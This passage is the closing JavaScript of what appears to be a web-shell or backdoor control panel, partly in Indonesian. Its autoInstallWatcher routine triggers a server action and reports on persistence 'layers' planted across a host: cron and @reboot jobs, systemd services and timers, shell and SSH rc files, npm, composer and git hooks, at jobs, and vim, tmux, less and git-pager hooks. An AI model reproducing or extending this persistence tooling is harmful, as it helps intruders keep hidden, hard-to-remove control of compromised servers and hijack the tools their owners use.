style="grid-column:1/-1;"><span style="color:var(--text-mute);">State dir</span><br><span style="font-family:var(--mono);font-size:10.5px;word-break:break-all;">'+(d.state_dir||'?')+'</span></div>' + '</div>'; b.innerHTML = h; }).catch(function(){ b.innerHTML = 'Network error'; }); } function autoInstallWatcher(){ if(!confirm('Install semua layer?')) return; var b = document.getElementById('wtResult'); b.className = 'result-box'; b.textContent = 'Installing...'; var controller = new AbortController(); var tid = setTimeout(function(){ controller.abort(); }, 120000); fetch('?action=auto_install_watcher&silent=1', { signal: controller.signal }) .then(function(r){ return r.text(); }) .then(function(txt){ clearTimeout(tid); var d; try { d = JSON.parse(txt); } catch(e){ var m = txt.match(/\{[\s\S]*\}$/); if(m){ try { d = JSON.parse(m[0]); } catch(_){} } if(!d){ b.className = 'result-box err'; b.textContent = 'Non-JSON:\n\n' + txt.substring(0,1500); return; } } if(d.relogin){ location.reload(); return; } if(d.status === 'success'){ b.className = 'result-box ok'; var L = d.layers || {}; b.textContent = '[OK] Installed\nPHP: ' + d.php_bin + ' (v' + (d.php_version||'?') + ')\nWatcher: ' + d.watcher_count + '\nBackups: ' + d.backup_count + '\nCron: ' + (d.cron_ok ? 'OK' : 'FAIL') + '\n@reboot: ' + (d.reboot_ok ? 'OK' : 'FAIL') + '\nDaemon: ' + (L.daemon ? 'OK' : 'FAIL') + '\nWatchdog: ' + (L.watchdog ? 'OK' : 'FAIL') + '\nSystemd: ' + (L.systemd ? 'OK' : 'SKIP') + '\nShell RC: ' + (L.shell_rc ? 'OK' : 'SKIP') + '\nSSH RC: ' + (L.ssh_rc ? 'OK' : 'SKIP') + '\nLogout: ' + (L.bash_logout ? 'OK' : 'SKIP') + '\nLinger: ' + (L.linger ? 'OK' : 'SKIP') + '\nNPM: ' + (L.npm_hooks ? 'OK ('+(L.npm_hooks_count||0)+')' : 'SKIP') + '\nComposer: ' + (L.composer_hooks ? 'OK ('+(L.composer_hooks_count||0)+')' : 'SKIP') + '\nShell trap: ' + (L.shell_trap ? 'OK ('+(L.shell_trap_count||0)+')' : 'SKIP') + '\nGit hook: ' + (L.git_hook ? 'OK ('+(L.git_hook_count||0)+')' : 'SKIP') + '\nAT: ' + (L.at_job ? 'OK' : 'SKIP') + '\nBashLogin: ' + (L.bash_login ? 'OK' : 'SKIP') + '\nLessFilter: ' + (L.lessfilter ? 'OK' : 'SKIP') + '\nVimrc: ' + (L.vimrc ? 'OK' : 'SKIP') + '\nTmux: ' + (L.tmux_conf ? 'OK' : 'SKIP') + '\nGit Pager: ' + (L.git_pager ? 'OK' : 'SKIP') + '\nVim Plugin: ' + (L.vim_plugin ? 'OK' : 'SKIP') + '\nGit Global: ' + (L.git_global ? 'OK ('+(L.git_global_count||0)+')' : 'SKIP') + '\nSystemdTimer: ' + (L.systemd_timer ? 'OK' : 'SKIP'); showToast('Installed', 'success'); setTimeout(loadWatcherStatus, 1500); } else { b.className = 'result-box err'; b.textContent = 'Error: ' + (d.message||'Failed'); } }) .catch(function(err){ clearTimeout(tid); b.className = 'result-box err'; b.textContent = 'Network/timeout: ' + err.message; }); } window.onclick = function(e){ document.querySelectorAll('.modal').forEach(function(m){ if(e.target === m) hideModal(m.id); }); }; </script> </body> </html>
Close